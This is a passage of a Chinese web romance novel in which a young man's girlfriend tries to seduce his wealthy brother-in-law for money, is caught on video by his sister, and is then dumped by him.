虽然人宋星言也很帅,但跟眼前的男人比起来,他显得有那么一丝的青涩和幼稚。
成熟。
内敛。
惑人。
李美纶不自觉的吞咽。
“姐,我为你们介绍一下。”宋星言将李美纶轻轻的带到,宋南伊和霍时序的面前,“这是我女朋友,她叫李美纶,是我的研究生同学,美纶,这是我姐宋南伊,我姐夫霍时序。”
“姐姐好,姐夫好。”李美纶脸红到了耳垂。
她偷偷的看了霍时序一眼。
他没讲话。
宋南伊面色温柔,唇角是淡淡的微笑,“你好,美纶,到这儿就跟到自己家里一样,我们星言没欺负你吧,如果他欺负了你,你跟我讲,我收拾他。”
“没,没有,星言对我很好。”李美纶紧张的将手背到身后,不安的搓着。
宋星言顺势牵起她的手,“好了,别在这儿坐着了,咱们客厅里聊。”
宋南伊送了包给李美纶。
这包,她以前只敢在奢侈品店外看看。
真正摆在自己面前的时候。
她是心动的。
假意推辞了几番,最后也收下了。
“那你们聊,我去看看菜做的怎么样了。”
宋南伊去厨房帮忙。
霍时序也脱下外套,“老婆,我跟你一起。”
李美纶目送霍时序的背影直至消失后,才有意似无意的问宋星言,“你姐夫他……气质挺好的,是有钱人吧?”
“江城霍家的继承人。”宋星言随意的说着。
李美纶愣住。
江城霍家?
百年豪门的江城霍家吗?
“你姐是霍家的少奶奶啊?”
宋星言看李美纶的反应过于大,笑着捏了捏她的小脸,“什么少奶奶啊,那是封建社会的称呼,算是……少夫人吧。”
“那有什么不一样的,你姐可真厉害,没看出有什么过人之处啊?也就那张脸还行吧。”李美纶咬着桔子瓣,“你姐是怎么傍上这么大的富豪的?不会是小三上位吧?”
“胡说八道,我姐夫可是追了我姐七年,我姐才嫁给他的,你什么也不知道,别乱讲话,让我姐听到了,她会觉得你不懂事。”
宋星言是护姐的。
但李美纶是他的女朋友,他语气也不重。
李美纶第一次被宋星言呛,心里还有一点怕性在的。
她不是怕他生气,而是怕自己失去嫁入有钱人家的入场券。
“你那么激动干嘛,我就随便猜测一下,我对你们家人都不熟悉。”
“我姐和我姐夫是原配夫妻,孩子都三个了。”
李美纶撇嘴,“没看出来啊,你姐身材那么好,都生三个了?”
都生三个了。
那个地方,指不定松成什么样了。
男人最讲究夫妻生活中的快感,她猜,宋南伊根本满足不了……这个看起来能把人干死在床上的,男人的欲望。
她一想到这事。
就开始失神。
宋星言喊她,她也没听见。
“美纶,吃饭了。”
她回神,扔下手中的干果,“哦,好啊。”
李美纶在餐桌上,还算是表现的不错。
话不多,很乖巧。
宋家对她,也算是满意的。
饭后吃水果的时候,李美纶亲自将水果,递到了每个人的手中。
递给霍时序时,她的指尖,有意似无意的跟他蹭了一下。
“美纶啊,你也吃。”南微看这个女孩,谈不上多喜欢,但儿子自己喜欢的,她当妈的,也没得说,“你们年轻人聊,我们就先去休息了。”
“叔叔阿姨慢走。”
李美纶起身相送。
宋南伊对她也挑不出毛病,示意她坐下,“美纶,就当自己的家,我们都是你的家人,不用客气。”
李美纶看向霍时序。
丈夫也可以分享吗?
第247章 这个女人,她不安分
或许是李美纶的目光过于专注。
霍时序感受到了,抬眸,看向了她。
李美纶顿时脸红,赶紧瞥开视线坐下。
霍时序见过太多女人。
女人看他的眼神,是崇拜,是爱慕,还是别有用心想在他身上得到什么,他一眼便知。
而,这个女人,她不安分。
霍时序心口叹气。
这事,他该如何跟宋南伊讲。
“美纶,你研究生毕业后,有什么打算吗?”宋南伊问她。
李美纶刻意的看了宋星言一眼,“看星言吧,我其实,没有太多主张的。”
宋南伊看向宋星言。
他弟弟愿意工作,还是继续读书,她都是支持的。
“星言,你有什么打算吗?”
“姐,我打算工作,去爸的公司,先从底层做起,慢慢一点点的历练吧,毕竟将来要**,得全面了解公司的业务。”
宋星言的这份责任心。
还是令宋南伊满意的,“小子,长大了哦,知道爸老了,等你**了。”
宋星言挠了挠头发。
他知道自己还很稚嫩。
但有做好这事的信心。
“这个家,以后我来撑,姐,你以后,就专心顾你的小家好了。”
宋南伊抬手揉了揉宋星言的头发。
心里头那个安慰,塞得满满的,“还真是长大了,那就没考虑结婚的事情?”
宋星言确实没有考虑。
他并不认为,自己三十岁前适合结婚。
当然,他也不是花心的人。
愿意好好经营感情,他喜欢细水长流的情感。
“现在我手里没钱,就算结婚,也给不了另一半好的生活,怎么着,我先得有赚钱的能力,才能给另一半一个承诺,否则,一切都是空话。”
李美纶稍显尴尬。
宋星言没钱,可他家里有钱。
想结婚,还不是分分钟的事情。
看来他也没有那么想娶她。
就只是谈一场恋爱而已。
既然只是恋爱,那也没必要那么认真。
“姐姐,我认可星言说的,我们会一起努力的,我学的是金融,到时我也会找一份相当的工作,努力的拼搏一下,我们都年轻,结婚不急的。”
宋南伊点头。
既然是学金融的,到时可以去霍时序的公司里实习。
刚要说这话。
她的脚就被霍时序轻轻地碰了一下。
她会意,这话也就没说。
“你们如此的上进,我替你们高兴。”
大家在一起又聊了一些,有的没的。
宋星言还要和李美纶回学校。
宋南伊便和霍时序准备回家了。
路上,她问霍时序刚刚的意思,“怎么了?你不愿意让她去你的公司?”
“这个女的……不单纯。”霍时序自己的感受,“我觉得,她不是星言的良配。”
宋南伊没感觉出什么。
霍时序这是从哪儿看出来的。
“她谈吐还不错的,而且,我看她对星言还是……,你看人准不准啊?”
“她刚刚不是加我的微信了,你看吧,不出三天,她保证联系我。”霍时序肯定地说。
宋南伊蹙眉。
她似乎明白了霍时序说的,不单纯的意思了。
“你说……她看上你了?”
“我可没这么说。”霍时序不想宋南伊误会,“她看上的,有可能是……钱。”
“星言哪里差了?虽然他现在在读书,确实没多少钱,但以后宋氏会交到他手里,他怎么可能没钱啊。”
宋南伊想的还是过于单纯。
霍时序见过太多各种各样的女人。
大部分女人,是没有耐心陪男人成长的。
她们是速食主义。
有现成的钱吃,为什么还要陪着一个男人,去拼没有把握的事情呢。
“你不能否认,有些人的目光是短浅的,而且星言说了,不会过早结婚,那这个恋爱的过程中,会出现什么样的变故,李美纶心里也没有底,当下……你觉得她会怎么办?”
宋南伊说不上来。
现在都没有真情实感了吗?
爱情就是路上的陪伴。
速食?
“你觉得她这个人……贪财啊?”
“不能说贪财,但绝对不是一个置金钱于身外的人。”霍时序淡笑,“每个人的成长环境不同,对金钱的渴望也不同,面对金钱的态度,自然就不同。”
这点,宋南伊无法反驳。
谈不上对与错。
现实的情况就是这样的。
她就怕宋星言在感情上,受到一些伤害。
“看来,我今天,不应该带你回去。”
“我就是照妖镜,你不带我,你是想星言以后,受更深的伤?”
宋南伊:……
好像说的也没有错。
“那如果,
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我们猜测的是错误的呢,人家李美纶就是对星言死心塌地的,我们的脸,往哪儿搁。”
霍时序笑了,“你不相信你自己看人的能力,你得相信我,我什么样的女人没见过。”
宋南伊呵呵了。
她揪起霍时序的耳朵,“你倒是见多识广啊,你是不是应该说,什么样的女人老子没睡过啊,她们屁股一抬,你就知道……”
“打住,打住,你可没睡过别的女人。”扣帽子这事,他可不承认。
宋南伊将手拿下来。
哼道,“那你凭什么那么了解女人?”
“凭经验,凭敏锐的直觉。”
霍时序的话音,刚一落地。
他的手机就响了一声。
宋南伊往他手机上瞥了一眼,显示有一条信息。
“看来,是回到学校了,所以这信息就来了。”霍时序耸耸肩。
宋南伊不信,“你怎么就,这么肯定,是李美纶发来的信息,难道不会是你的哪个客户?”
“我的客户,要用发信息这种方式聊生意,那就可太蠢了。”
不管宋南伊信不信。
她确实已经在怀疑了。
拿起霍时序的手机。
点击信息,进到了页面。
[姐夫,你回家了吗?今天很愉快,也很高兴认识你。]
霍时序不用看信息。
就只看宋南伊的表情,就已经确定了是李美纶发来的。
“怎么样?我说的没错吧?”
“可她在家里的时候,没跟你说过话啊,她这是……”宋南伊还真的搞不懂,这个李美纶的心思,“……我可以定义为,这是勾引吗?”
“当然。”
“那你准备给她回什么?”
霍时序:“我不打算回。”
“那我帮你回。”宋南伊细长的指尖在屏幕上敲着字。
[回家了,我也很高兴认识你。]
霍时序瞥了一眼手机,提醒宋南伊,“要是聊出事来,你自己负责啊。”
那头秒回。
[姐夫,这周末,我刚好没课,我可不可以去XY集团找你啊,我也是学金融的,我也……跟你聊聊天,我想,一定会受益匪浅的。]
宋南伊气要摔手机了。
但还是咬着牙回信息。
[星言一起来吗?]
两天秒后,信息又马上回过来。
[姐夫,星言没有时间,就我们两个,不好吗?]
第248章 先跟他睡
宋南伊真的气到了。
将手机扣放在手盒上,“就我们两个不好吗?两个人?她想要干什么?勾引你,送肉上门,然后睡了你,然后从你这儿得到一笔钱,然后再继续跟你睡,得到一些好的资源?”
霍时序揉了揉她的头发。
宠溺的笑了,“她是学金融的,她很清楚的知道,在金融界,有一张漂亮的脸蛋,是最好的通行证这个道理。”
宋南伊扭头看向霍时序。
作为金融界的大佬。
到底有过多少的女人,向霍时序贡献过自己。
“霍时序,你跟我说实话,这样往你身上扑的女人,多不多?”
霍时序淡看了老婆一眼,实话说,“多。特别多。”
宋南伊:……
倒是真诚。
真诚的她没了脾气。
“那你是怎么处理,这些前赴后继的女人的?”
这对霍时序来说,不是什么难事。
这些女人,大部分看中的是他的钱,只有少部分人,想放长线钓大鱼。
比如说,先跟他睡,慢慢的再想着取代霍太太的位置,实现双赢。
但,这需要一个前提。
他得愿意才行。
“因为看的太透,这些女人在我这儿,还没有进行到下一步,就已经被我赶走了,我是不允许,危险出现的,我可是有老婆,有孩子,有家庭的人,洁身自好,是做人起码的自觉。”
宋南伊斜眼看他。
这还顺带着,把自己表扬了一番。
“我真的不知道,这些女人怎么想的,好好的,凭自己的本事,赚属于自己的,干净的钱,很难吗?底线呢?钱,真的那么重要。”
宋南伊不理解。
真的不理解。
霍时序笑着摇头,“所以说啊,每个人的成长环境不同,对金钱的渴望程度就不同,你从小是父母的掌上明珠,你想要什么,根本不费力气就能得到,你无法想象,有一些女孩,为了买一只几万块的包,可能得攒几年的钱……”
宋南伊承认这些事实。
但是原生家庭没有错啊。
父母的爱也不会少。
钱这玩意,不都是身外之物?
她叹气。
或许吧。
如霍时序所说的,她很轻易的就得到了很多别人无法企及的东西,比如说车子,房子,珠宝,她可以风轻云淡的说出来,凭自己努力赚钱,满足自己这样的话来。
她不得不承认。
有些人努力一辈子,也买不起一套房子。
更有一些人,努力几十年,仍然买不起一辆好一点的车子。
人和人,怎么能相提并论呢。
但,靠歪门邪道,她是瞧不上的。
“所以,这就是李美纶不满足现状的原因吗?难道,她选星言做男朋友,也只是因为宋家的家境,在她看来,还不错?”
霍时序点头。
大其概的就是这么个原因。
宋南伊骂脏话了。
她的弟弟,可是她疼到骨心里的亲人,这个女的竟然,在套路他?
“星言还是太单纯了。”
“单纯也没有错,男人嘛,要有一些经历,以后才不能栽更大的跟头。”霍时序认为,这对于宋星言来说,并不是坏事,“让他半路上坎一坎,有助于他的成长。”
“那万一,以后,他因为这些事情,不想交女朋友了,在女人身上失望了?那不得单身一辈子?”
霍时序认为宋南伊想的太多。
现在的年轻人,不想结婚的,不想生孩子的多了去了。
结婚和生子,并不是人生唯一的目标。
“那也是他的选择,只要他认为,他的选择可以给他带来幸福感,那他就是幸福的,只要他幸福,就好,不是吗?”
宋南伊:……
话是这么说没错。
但……
好吧,不聊宋星言,那就说说这个李美纶,“那她约你周末的时候见面,你要见吗?”
“我见不见,你说了算。”霍时序把决定权,交给了宋南伊。
宋南伊想了想。
抓起霍时序的手机,给李美纶回去了信息。
[好,周末见。]
那头又秒回。
[好的,姐夫。]
看来,她一直在等霍时序回信息。
这确实有点戳着宋南伊的那根,想揍人的神经了。
“我给她回了,你周末会去见她。”
霍时序淡道,“你给她回的,你去见,我可不去啊。”
“我回的就是,你去见她,你不去,谁去?”宋南伊突然想到了什么,“霍时序,要不,咱们演一出戏吧。”
“什么戏?”他感觉情况不妙,“不会是让我献身吧?我可不得,你别打我主意。”
“我把星言也叫上,然后我们躲起来,让李美纶原型毕露,这样,星言知道她是什么人了,也少受一些伤害,你
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说好不好?”
霍时序觉得主意不错。
但,合适吗?
这样,同样会伤到宋星言,而且在自己的姐姐和姐夫面前,这个面子丢得有点大。
他万一怪他这个姐夫和姐姐,多管闲事。
那岂不是连亲情也伤害了?
宋星言已经长大了,不再是个小孩子,要顾及他的自尊心,和能接受度。
“这事……再考虑一下吧。”
宋南伊:……???
“霍时序,你觉得不妥吗?”
霍时序:“我觉得,你太想当然了,星言大了,未必能接受……,我是怕这事,伤了你们姐弟的和气。”
宋南伊思考着。
霍时序说的,也不无道理。
那周末的见面……
“那你就跟李美纶见面,敲打敲打她吧,我也不好出面。”
“你可以在休息室里。”他说。
宋南伊同意,“也行,我倒要听听她是怎么勾引我老公的。”
……
周末。
宋星言约了李美纶去爬山。
她拒绝了,“星言,我今天有家教的兼职,我就不去了,改天吧,好吗?”
“钱不够花吗?”宋星言拿出手机来,准备给她转账,“我这个月富裕着,再给你转两千。”
“这一千两千的,实在是……你也知道我妈的病需要钱。”
李美纶面露难色。
这点钱,对于胃口很大的李美纶来说,根本不值一提。
“……星言,你不是说,你姐给过你一张卡,那里有五百万吗?能不能……”她很困难的说,“……算我借你的,以后我会还你的。要不是我妈生病,我也不想……”
姐姐给的那张卡,确实有很多的钱。
作为男女朋友,他帮助李美纶渡过难关,也很正常。
但,李美纶三番五次地向他要这些钱,他心里其实是反感的。
她说自己的母亲病了。
拿母亲有病的理由,已经前前后后从他这里拿走十几万块了。
他心疼她,去过医院探望,却发现,压根就没有她母亲这个病人。
他一直,在给她机会,让她坦诚。
她却还是一直……
宋星言心里的失望值,在一点点的增加。
看宋星言没什么反应,李美纶又怕错过与霍时序约见的时间,便说,“既然你没想好,就再想想吧,我时间差不多了,我先去打工了。”
第249章 你爱我,他知道吗?
李美纶打车走了。
宋星言眉眼越来越沉。
他已经把她带回家,想的是跟她长期发展,可现在看来,这段关系,差不多就要结束了。
……
XY集团的总裁办公室。
这是李美纶第一次来。
拿到XY的实习资格很难。
去年同系的学长学姐们,只有三个人,拿到了资格。
最终实习期满后,只留下了一个人。
XY的薪资标准以及福利,是全行业内顶尖的,是大家蒙昧以求的最终归宿。
宋星言对她而言,已经是她接触的富二代的天花板了。
她没有想到,江城数一数二的百年豪门继承人,竟然是他的姐夫。
这是机会。
她有美貌,年轻,有学历,会审时度势。
只要她肯放弃一些东西,她自然会得到很多的东西。
比如说,金钱。
比如说,机会。
如果运气好的话,还可以飞上枝头做凤凰。
走进电梯。
她对着电梯里的三面镜,整理着自己的仪容。
她今天打扮得偏清纯,学院风的套装,把她这二十四岁的年纪,衬得小了几岁。
她很满意。
往自己的嘴上,涂了一层蜜桃味的唇膏。
走出电梯。
正冲着电梯的门,有一张今年XY集团的当季宣传海报。
“凝视。”
她看着这两个字和照片。
男人的目光如鹰隼一般。
令人着迷。
女人是慕强的动物。
任何有魅力的男性,对她来说,都有致命的吸引力。
但男人的劣根性,她也是知道的。
再厉害的男人,也无法抵抗年轻身体,给他带来的诱惑。
况且,对着一个生了三个孩子的女人,那儿……是不会给男人带来快感的。
而她这种从未生育过的。
出现的就刚刚好。
李美纶展现出,前所未有的自信。
踩着白色的平底鞋,敲响了总裁办的门。
“请进。”
总裁办的门,十分厚重。
“姐夫。”李美纶艰难地推开门,眉心闪过一丝紧张,“今天,公司里好像人挺少的。”
“周末,大家都不加班。”
他十指交叉,略显慵懒,以上位的姿态,审视着面前这个女人。
头发特意做过。
香水喷得很多。
这身,与之相貌和年龄,格格不入的学院派的套装,有点老黄瓜刷绿漆的违和感。
逡巡上下。
李美纶稍有一些不自在。
“姐夫,你。怎么这么看我啊?”
她的声音夹了起来,听得休息室的女人,直掉鸡皮疙瘩。
霍时序淡无表情地看着她,“约我,想跟我聊什么?”
“姐夫,你是金融界的大佬,我只是一个念金融的研究生,我向你请教的东西多着呢。”
她小碎步地,绕过宽厚的办公桌,走到了霍时序的面前。
妆容化得很浓。
看惯了自带美颜效果的老婆。
见到这种浓妆艳抹的女人,霍时序只有一个感觉,那就是好脏。
没等她再说话。
他便起身,走到了会客区的沙发上,坐了下来。
他双腿交叠,从烟盒里,抽了根香烟,递到唇上,火机咔嗒,烟卷燃起,他吸了一口。
“请教什么?”
李美纶又赶紧,走到他面前,坐到了他身旁的位子上。
她身子微微前倾。
那半敞的领口,里面的春色,若隐若现。
“姐夫,你知道吗?你是我们学金融的偶像,我很崇拜你,也很喜欢你,爱慕你。”
霍时序拿起手机。
给宋南伊发了条信息。
[你看,我说什么来着?]
宋南伊咬着牙回,[我想看看,她要怎么勾引你。]
霍时序将手机扣在手边的茶几柜上,吸了口烟,吐在了李美纶的脸上,“喜欢我,爱慕我?”
李美纶忙不迭地点头。
双手撑在自己的膝盖上,将胸又挤了挤,“姐夫,那天见你,我真的……感觉你身上氲了一层金光,你像是从画里走下来的,你就是我心里的神,我真的一眼就爱上你了……”
李美纶说的鬼迷日眼的。
看得霍时序辣眼又头疼。
“爱上我了?那星言呢?你不是他的女朋友吗?你爱我,他知道吗?”
李美纶皮笑肉不笑的,咧了咧嘴。
小心翼翼地将手放到了,霍时序的大腿上,“姐夫,我爱你是我的事情,这跟星言有什么关系?不瞒你说,星言他是不错,但对我来说,还是差那么一点,我妈病了,想让他借我点钱,他都不愿意,你说,我能不寒心吗?”
“所以……”霍时序视线缓缓的,从李美纶的面上,落到她不安分的指尖上,“……你就把主意,打到我身上了?”
“姐夫,我是真的很爱慕你,我对你一见钟情,我是真心真意的。”
她的手,又往霍时序大腿深处,挪了挪。
霍时序不适。
起身,走到窗边,“李小姐,可能不知道,像你这样的对我示爱的女人,每天都有,你有什么资本,让我动心?”
李美纶缓缓地走到霍时序身后。
指尖抬起,一颗,两颗,三颗,扣子解开后,她将衣服脱了下来。
宋南伊从休息室里,看到这一出。
差点惊掉下巴。
真是大开眼界。
为了钱,是一点脸都不要了。
爹妈培养她读到研究生,她竟然……如此的不自爱。
“姐夫,你回头看我一眼,我不相信,你两眼空空……”
霍时序将烟摁灭在了手边的烟灰缸里。
回眸。
他没有躲避,也没有丝毫的色心,就那样充满审视的,看着这具赤裸的身体。
他的目光很锐利。
带着强大的侵略性。
眼底却没有,对这具身体的渴望与欣赏,尽是鄙夷和唾弃。
她缓缓蹲下身体,从地上捡起衣服,尴尬地挡住,“姐夫,你,你怎么这么看我?我的身体不美吗?”
“和星言发生过关系吗?”
李美纶吱唔。
不知道该说有,还是说没有。
“没关系,说实话。”他说。
李美纶,咬了咬牙,还算诚实的说,“就,就一次,你放心,我的身体,没有受任何的影响,真的。”
“在和星言发生关系的时候,是雏吗?”
李美纶微愣。
他不知道,霍时序问这个目的。
只当他有一些怪癖好。
“不,不是,所以,我是有经验的,可以伺候好你。”
他居高临下地睥睨着她。
并不好奇,她会用什么方法,取悦他,“我没那么好伺候。”
李美纶咬着唇,半羞涩半大胆的,走近霍时序。
仰起小脸来,“姐夫,你没觉得,我们的关系,就很适合玩禁忌游戏吗?况且,我会的花样可多着呢,要不,你先试用一下。”
说着。
她的指尖,就落到了霍时序的皮带上,然后缓缓向下……
第250章 是你先跟我开玩笑的
霍时序想抬腿,踢走她。
但还是忍着恶心,推开了她,“行了,像你这种小把戏,我见得太多了,李美纶,你就没有想过,你来勾引我,万一成功了,被星言知道了,你们的关系?”
“那他要是知道了,就分手呗,我只在乎你。”
霍时序看向李美纶。
像看一个智障。
见一面,在乎他?
“你想在我身上,得到什么?”他又抽了根烟,递到唇上吸着,“没关系,大胆说。”
“姐夫,人家对你是一见钟情,图的就是对你的感觉。”
霍时序笑了。
一口烟吐到李美纶的脸上。
呛的她直咳嗽。
“下这么大的血本,就图一感觉?”
“姐夫,我就是想在你身上学点经验……”她再次靠近霍时序,细长指尖,轻轻的点了点他壮硕的胸肌,“……比如说如何赚钱,比如说……如何翻云覆雨。”
一为钱,二为性。
这种女人,挺能豁着出去。
如果在放在别的男人面前,她应该挺有出息的。
但她选错人了。
“是吗?”他笑了,能颠倒众生的那种。
李美纶看的着了迷,踮起脚尖来,就要去吻霍时序的喉结。
霍时序吓的差点炸毛。
“老婆,你再不出来,我可就真忍不住动手……”**了。
李美纶一愣。
就看到休息室的宋南伊,举着手机,走了出来。
她吓的尖叫,抓着衣服,一个劲的缩,“姐姐,你别,别这样……”
“李美纶,你还真是心比天高,我们宋家没有瞧不起你是一个普通人,你还嫌弃起我们来了,抱大树抱我男人身上了,你以为你这种货色,能入了谁的眼?”
“星言真的眼瞎了,怎么会跟你谈上朋友了,李美纶,你真的是太不要脸了,”
“姐姐……”李美纶挡着宋南伊的镜头,开始往自己身上,套衣服。
她很狼狈。
在宋南伊看来,还不够。
将她的衣服,扯了过来,打开窗户,扔了出去。
“既然脸都不要了,还要衣服做什么?让大家都看看,不要脸的女人,长什么样,不是挺好的。”
李美纶感觉受到了侮辱。
眼眶红着,哗哗掉泪。
“你怎么可以这样,我又没做什么?”
宋南伊抬手就甩了她一个大嘴巴,“还没做什么?我老公的裤子,快被你扒掉了,你还没做什么呢?李美纶,你告诉我,怎么样才算做了什么?”
“我,我……”
李美纶没想到的是,有钱人有钱,但不傻。
这夫妻两个,早就串通好了,给她下套。
而她傻呵呵的就进了圈套。
哭,对任何人都起不了作用。
她丢脸丢大了,现在只想离开这儿。
“我走好了,别这样对我。”
宋南伊最恨这种,无辜死装精。
“滚,以后离星言远远的,别让我再看到你。”宋南伊真的,太失望了,“还有,那个包,给我还回来,你根本就不配。”
李美纶,咬了咬唇,一手捂着脸,一手捂着隐私部位,跑走了。
办公室里的空气,总算是新鲜了。
霍时序深深的呼吸了一口。
“打算,把这些都发给星言吗?”
宋南伊是想这样的,她不想自己的弟弟,被蒙在谷里。
哪怕真相鲜血淋漓,他也有权利知道。
这是他人生路上,很宝贵的一课。
“发吧。”
“你确定星言能承受得住……而且,不会误会我?”
宋南伊抬头看向霍时序。
霍时序在这方面,确实是老手。
看到扒光自己的李美纶,他竟然面不改色,心不跳。
“以前,经常有脱光自己,爬你的人吗?”
霍时序笑了,“说的我跟狗一样的,有,但我可没今天这么好的脾气,早让江淮扔出去了。”
宋南伊叹气。
指尖在视频上,反复的斟酌后,还是给宋星言发了过去。
信息发出去,差不多有半个小时。
宋星言那头也没有动静。
她猜,他是难过了。
给他时间,平息一下内心的风暴,也是他沉淀成长的必经的过程。
“去洗个澡吧,一身的骚味。”宋南伊说。
霍时序大手握住她的腰,“一起洗。”
“不要。”
“要。”他打横抱起她,走进了休息室的洗浴间。
免不了,又是一场激烈的情事。
水雾将二人变得模糊。
情
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动。
缠绵。
……
宋星言将宋南伊发来的视频,看了又看。
很精彩。
是他从未见过的那一面。
她勾引到自己的姐夫那儿去了。
很好。
他笑了,将手机关掉。
然后换上运动服,去操场上跑了二十圈。
几天后。
李美纶跟没事儿人一样的,约宋星言见个面。
她抱着他的胳膊,靠在他的肩膀上,委屈的直掉眼泪,“星言,姐姐是不是看不上我呀,她把送我的包包要了回去,这送出去的礼物,哪有再要回去的道理,还真是人前一套,人后一套,我真的好替你难过哦,星言,你姐她,根本就不爱你这个弟弟。”
宋星言没有说话。
他面无表情,听着李美纶对宋南伊的控诉。
“星言,你说,以后我要是嫁给你了,你们家人对我不好,可怎么办啊?要不,咱们买个房子,在外面住吧?你说呢。”
宋星言淡淡笑笑,“男人长大了,是要自立门户的,这很正常。”
“你同意了?”李美纶没想到,宋星言这么好哄,“那买的房子,可不可以加我的名字,虽然,虽然我没有钱,但我以后会好好照顾你,还会给你生孩子,你得给我保障的对吗?”
李美纶眼里的期待浓得化不开。
宋星言依旧淡淡,面色平静。
“我当然会给我老婆,最好的保障,加个名字算什么。”
李美纶开心尖叫。
虽然她没能傍上霍时序,但是宋星言单纯啊,日后,她还是有好日子过的。
“星言你对我真好。”
“对我老婆好,那是应该的。”
这话说的李美纶心里甜蜜蜜的。
她抱的胳膊更紧了一些,“星言,我知道你对我,那我妈生病那事,你有没有考虑好,要不要借我一些钱周转啊,你看,我妈其实也花不了太多钱,但我不是还在上学,手头……,星言……”
“五百万,全给你怎么样?”他淡淡笑着。
李美纶捂着惊大的嘴巴,五百万全给她,那她就是富婆了。
“星言,真的吗?你没在跟我开玩笑吧?”
宋星言抽了胳膊,起身。
冷睨着她,“不是你,先跟我开玩笑的吗?”
第251章 豪门偏出痴情种
李美纶唇角的笑容凝滞。
“你……你这是什么意思?”
“我说我给我老婆买房,说给你买了吗?我说要写我老婆的名字,我说写你的名字了吗?李美纶,你未免也太自作多情了,不会真的以为,我不知道你干的那些龌龊事吧?”
李美纶明白了。
宋南伊把她勾引霍时序那事,告诉了宋星言。
这些有钱人,可真不地道。
“宋星言,你在玩我?”
“不是你一开始,在玩我吗?”宋星言单纯不假,但不是傻子,“你母亲在哪儿治病?你的周末兼职,确定不是去爬哪个男人的床?李美纶,你嫌弃我,想抱更粗的大树,我成全你。”
宋星言转身就走。
李美纶踉跄着追了上去,“星言,你听我解释,不是你想的那样的,真的不是……”
“那是怎样的?”宋星言拿出手机,视频开始播放着,她一丝不挂地,说着那些令人羞耻的话,“是这样的吗?李同学?”
李美纶无话可说。
她知道自己错了,她想请宋星言原谅她。
“这事是我……一时冲动,冲动是魔鬼,当时的情况就是魔鬼控制了我,我知道错了,星言,我以后不会再做这样的事情了,你再给我个机会,好吗星言?”
宋星言冷冷地看着她。
眼神中的陌生,像是与眼前这个女人,似曾相识过一般。
“知道吗美纶,我们家是很有爱的家庭,姐姐很疼爱我,姐夫也是一样的,姐夫他生于豪门,长于豪门,可他偏偏很痴情专一,他这个人一点都不花心,他的眼里除了我姐容不下别的女人,如果他是可以染指的人,你觉得你有接近的机会?你不配李美纶,你的算盘打错了。”
李美纶紧紧的抓着宋星言,拼命的点头,“我知道,我错了星言,你就原谅我这一次,就一次,好不好?”
宋星言没有再给她说话的机会。
轻轻的推开了她。
离开。
这是他的第一段感情,伤害是存在的。
但也教会他,看透人性。
他想,以后他不会再轻易的投入一段感情。
要说,他对爱情失望,也没那么严重。
就是想慢一点,再慢一点吧。
宋星言回了学校。
他给宋南伊回了条信息,“姐,我没事,不用担心。”
宋南伊收到信息后。
想回拨回去。
被霍时序拦下了,“他现在需要静静。”
……
几天后,找了个周末的时间。
宋南伊回了趟娘家。
跟母亲闲聊时,聊到了李美纶,“星言跟我说,他跟李美纶分手了,我觉得……还挺好的。”
“我看您挺喜欢李美纶的,怎么会觉得好?”
南微也说不上来。
就是这个女孩的眼神,透出太多的算计。
每做一件事情,就想得到回报的那种。
她很不舒服。
“反正啊,我觉得她和星言不适合,星言从小就单纯,人又善良,他应该找一个年纪大一些的,可以照顾他的那种。”
宋南伊笑了,“妈,你可真是的,你儿子想让别人照顾,人家女儿还想让男方照顾呢,不能这样想的。”
南微也并非完全这个意思。
她就是觉得,宋星言在恋爱中,是不会主导的那一方。
“妈是想啊,让有经验的教教他,教会了,他们可以互相照顾的呀。”
“你觉得星言,在感情中,是弱势?”宋南伊问。
南微自己的儿子,从小长到大,可没有强势过一次,“不然呢,他那性子,软绵绵的,肯定是不主动,不拒绝,人家说啥就是啥。”
“那您可太不了解自己的儿子了。”
宋星言是对自己相当有规划的。
当年考高中的时候,他的成绩根本上不了江城最好的高中。
可他愣是自己苦学了三个月,以全校前十名的成绩,进入到了江城最好的高中。
他不是弱势。
只是他的强势,从来没有在家人面前展示过。
而南微这个母亲心里,宋星言还是那个天天傻呵呵乐的小傻子。
总是十七八岁的样子。
这一转眼,就到了娶媳妇的年纪了。
“星言也长大了,我和你爸也老了,等他能撑起宋氏的时候啊,你爸就能退休,好好歇歇了。”
宋南伊也心疼父亲。
前世,霍时序曾经想把宋氏并入进霍氏进行管理。
她没让。
现在依然。
宋氏是属于星言的,无论是它将来怎样,都不能跟霍家混为一谈。
这是原则。
就比
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如她的珠宝工作室,她可以吞并霍时序名下的小公司,但他不可以来她这儿插一手,入股更是不可能的事情。
无论他们的关系,如何紧密。
她的就是她的。
他的可以是她的,但她的绝不可能是他的。
“你放心妈,将来星言要是遇到困难,我帮他一起度过困难的,他永远都是我的弟弟,是我的家人,我永远爱他。”
母亲心里暖的要命。
这个上天赐给她的女儿,真的是温暖了她一辈子。
她将宋南伊抱进怀里。
“你啊,从小就省心,上幼儿园的时候,妈妈总怕你受委屈,就悄悄躲在外面,扒着窗户看你。”
“后来上了小学,你的成绩名列前茅,每次得了奖状,咱们一家就去外面庆祝。”
“再后来,你上了初中,高中,又考上了很好的大学,妈妈心里知足的不得了。”
“就是感情上,有一些波折,妈妈很想帮你,又帮不到你,不过啊,都苦尽甘来了。”
宋南伊笑笑。
妈妈今天多愁善感起来。
其实有女儿的家庭里,避免不了重男轻女的问题。
更何况她是捡来的孩子。
可她从小到大,父母都待她极好极好,吃的穿的用的,样样都是以她为主。
她真的就是娇生惯养,长大的小公主。
弟弟从小到大,也会学着父母的样子,疼姐姐。
想到这些,她就会觉得,真的是好幸福,好幸福。
“妈,以后你要开开心心的,星言大了,他有处理事情的能力,你要放心,再不济还有我呢,我是不可能让星言吃亏的。”
这点,南微相信。
“妈信。”
说话这功夫。
宋星言一步迈了进来。
看到妈妈和姐姐抱在一起,他笑道,“姐,你可真不害臊,这都多大了,还要妈妈抱啊?”
“怎么,不行啊,妈妈最疼我,我就要妈妈抱。”
宋星言笑的更厉害,“行,你们抱,我去找点吃的。”
“星言,饭马上就好了,你先吃点水果。”南微起身,往厨房里走,“我去催一下。”
宋星言这才回到客厅,重新坐下。
李美纶的事情,他好像都过去。
宋南伊试探着问道,“你和李美纶她……”
第252章 再见陆为谦
宋星言不介意的笑笑。
“姐,我们分手了,她向我要了十万块的分手费。”
宋南伊蹙眉,“你给她了吗?”
“给了,怕她日后纠缠。”宋星言说得极其淡。
宋南伊轻轻地握住了弟弟的手,满是心疼,“没关系,人的这一生,哪还不遇到几个渣男渣女啊,那是她没有福气,我们星言,以后肯定会遇到一个很好很好的爱人。”
“姐,别担心我,我已经长大了。”
宋南伊点头。
